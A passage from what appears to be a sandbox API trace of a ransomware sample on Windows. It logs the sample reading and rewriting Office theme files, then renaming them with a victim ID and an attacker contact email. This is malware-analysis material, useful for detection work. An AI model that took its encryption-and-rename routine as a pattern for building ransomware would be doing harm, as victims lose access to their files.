Size=0x4801) returned 0x728ab40 [0257.831] GetProcessHeap () returned 0x630000 [0257.831] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4801) returned 0x7128660 [0257.831] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.831] ReadFile (in: hFile=0x3f8, lpBuffer=0x728ab40, nNumberOfBytesToRead=0x47e0, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x728ab40*, lpNumberOfBytesRead=0x4fbff0c*=0x47e0, lpOverlapped=0x0) returned 1 [0259.360] GetProcessHeap () returned 0x630000 [0259.360] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0259.360] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.360] WriteFile (in: hFile=0x3f8, lpBuffer=0x7128660*, nNumberOfBytesToWrite=0x47e0, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7128660*, lpNumberOfBytesWritten=0x4fbff0c*=0x47e0, lpOverlapped=0x0) returned 1 [0259.361] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.361] WriteFile (in: hFile=0x3f8, lpBuffer=0x712ce3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x712ce3f*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0259.361] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.361] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0259.361] CloseHandle (hObject=0x3f8) returned 1 [0259.361] GetProcessHeap () returned 0x630000 [0259.361] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7128660 | out: hHeap=0x630000) returned 1 [0259.361] GetProcessHeap () returned 0x630000 [0259.361] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x728ab40 | out: hHeap=0x630000) returned 1 [0259.361] GetProcessHeap () returned 0x630000 [0259.361] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0261.208] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.208] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ba1ded, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x608a73a3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4811, dwReserved0=0xbd47496, dwReserved1=0x728ab38, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d54c0 [0261.208] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0261.208] Sleep (dwMilliseconds=0x1) [0261.219] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.INF", len=0x6e | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.INF") returned 1 [0261.219] GetProcessHeap () returned 0x630000 [0261.219] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c5c) returned 0x6fe3bb0 [0261.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\cascade.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0261.309] CloseHandle (hObject=0x678) returned 1 [0261.309] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\cascade.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\cascade.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.379] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.380] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="CASCADE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CASCAD~1.FIR")) returned 0x6d5200 [0261.399] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0261.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\cascade.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0261.431] GetProcessHeap () returned 0x630000 [0261.431] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x73d3248 [0261.431] GetProcessHeap () returned 0x630000 [0261.431] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x73d1fb0 [0261.431] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.432] ReadFile (in: hFile=0x678, lpBuffer=0x73d3248, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d3248*, lpNumberOfBytesRead=0x4fbff0c*=0x260, lpOverlapped=0x0) returned 1 [0261.443] GetProcessHeap () returned 0x630000 [0261.443] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0261.443] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.443] WriteFile (in: hFile=0x678, lpBuffer=0x73d1fb0*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d1fb0*, lpNumberOfBytesWritten=0x4fbff0c*=0x260, lpOverlapped=0x0) returned 1 [0261.443] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.443] WriteFile (in: hFile=0x678, lpBuffer=0x73d220f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d220f*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0261.443] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.443] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0261.443] CloseHandle (hObject=0x678) returned 1 [0261.443] GetProcessHeap () returned 0x630000 [0261.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d1fb0 | out: hHeap=0x630000) returned 1 [0261.443] GetProcessHeap () returned 0x630000 [0261.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d3248 | out: hHeap=0x630000) returned 1 [0261.443] GetProcessHeap () returned 0x630000 [0261.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0261.443] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61c78950, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x4fbfd20, dwReserved1=0x73d3248, cFileName="CASCADE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CASCAD~1.FIR")) returned 0x6d4f00 [0261.444] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0261.444] Sleep (dwMilliseconds=0x1) [0261.453] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\holiday_weather.png", len=0x76 | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\holiday_weather.png") returned 1 [0261.453] GetProcessHeap () returned 0x630000 [0261.453] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e54) returned 0x6fe3bb0 [0261.454] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\holiday_weather.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\attribution\\holiday_weather.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.456] Sleep (dwMilliseconds=0x1) [0261.500] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-32_altform-unplated.png", len=0x94 | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-32_altform-unplated.png") returned 1 [0261.500] GetProcessHeap () returned 0x630000 [0261.500] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e48) returned 0x6fe3bb0 [0261.500] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-32_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weather_logosmall.targetsize-32_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.500] Sleep (dwMilliseconds=0x1) [0261.608] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\82.jpg", len=0x7c | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\82.jpg") returned 1 [0261.608] GetProcessHeap () returned 0x630000 [0261.609] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e28) returned 0x6fe3bb0 [0261.609] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\82.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\82.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.609] Sleep (dwMilliseconds=0x1) [0261.655] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\75.jpg", len=0x7c | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\75.jpg") returned 1 [0261.655] GetProcessHeap () returned 0x630000 [0261.655] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e20) returned 0x6fe3bb0 [0261.655] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\75.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\75.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.657] Sleep (dwMilliseconds=0x1) [0261.673] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\39.jpg", len=0x7c | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\39.jpg") returned 1 [0261.673] GetProcessHeap () returned 0x630000 [0261.673] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e04) returned 0x6fe3bb0 [0261.674] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\39.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\39.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.675] Sleep (dwMilliseconds=0x1) [0261.715] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\32.jpg", len=0x7c | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\32.jpg") returned 1 [0261.715] GetProcessHeap () returned 0x630000 [0261.715] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dfc) returned 0x6fe3bb0 [0261.715] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\32.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\32.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.717] Sleep (dwMilliseconds=0x1) [0261.737] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\15.jpg", len=0x7c | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\15.jpg") returned 1 [0261.737] GetProcessHeap () returned 0x630000 [0261.744] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd8) returned 0x6fe3bb0 [0261.745] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\15.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\15.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.753] Sleep (dwMilliseconds=0x1) [0261.798] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\0.jpg", len=0x7b | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\0.jpg") returned 1 [0261.798] GetProcessHeap () returned 0x630000 [0261.798] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dc4) returned 0x6fe3bb0 [0261.798] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\0.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\0.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.805] Sleep (dwMilliseconds=0x1) [0263.207] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\201.png", len=0x7a | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\201.png") returned 1 [0263.207] GetProcessHeap () returned 0x630000 [0263.207] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d24) returned 0x6fe3bb0 [0263.207] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\201.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\201.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.211] Sleep (dwMilliseconds=0x1) [0264.518] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.ELM", len=0x70 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.ELM") returned 1 [0264.519] GetProcessHeap () returned 0x630000 [0264.519] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c48) returned 0x6fe3bb0 [0264.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\capsules.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0264.577] CloseHandle (hObject=0x410) returned 1 [0264.577] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.577] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\capsules.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\capsules.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.379] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="CAPSULES.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CAPSUL~1.FIR")) returned 0x6d5580 [0265.379] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0265.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\capsules.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0265.380] GetProcessHeap () returned 0x630000 [0265.380] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x753b8a0 [0265.380] GetProcessHeap () returned 0x630000 [0265.380] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7546cd0 [0265.380] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.380] ReadFile (in: hFile=0x410, lpBuffer=0x753b8a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x753b8a0*, lpNumberOfBytesRead=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.430] GetProcessHeap () returned 0x630000 [0273.430] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0273.430] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.430] WriteFile (in: hFile=0x410, lpBuffer=0x7546cd0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7546cd0*, lpNumberOfBytesWritten=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.431] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.431] WriteFile (in: hFile=0x410, lpBuffer=0x75520cf*, nNumberOfBytesToWrite=0x20, 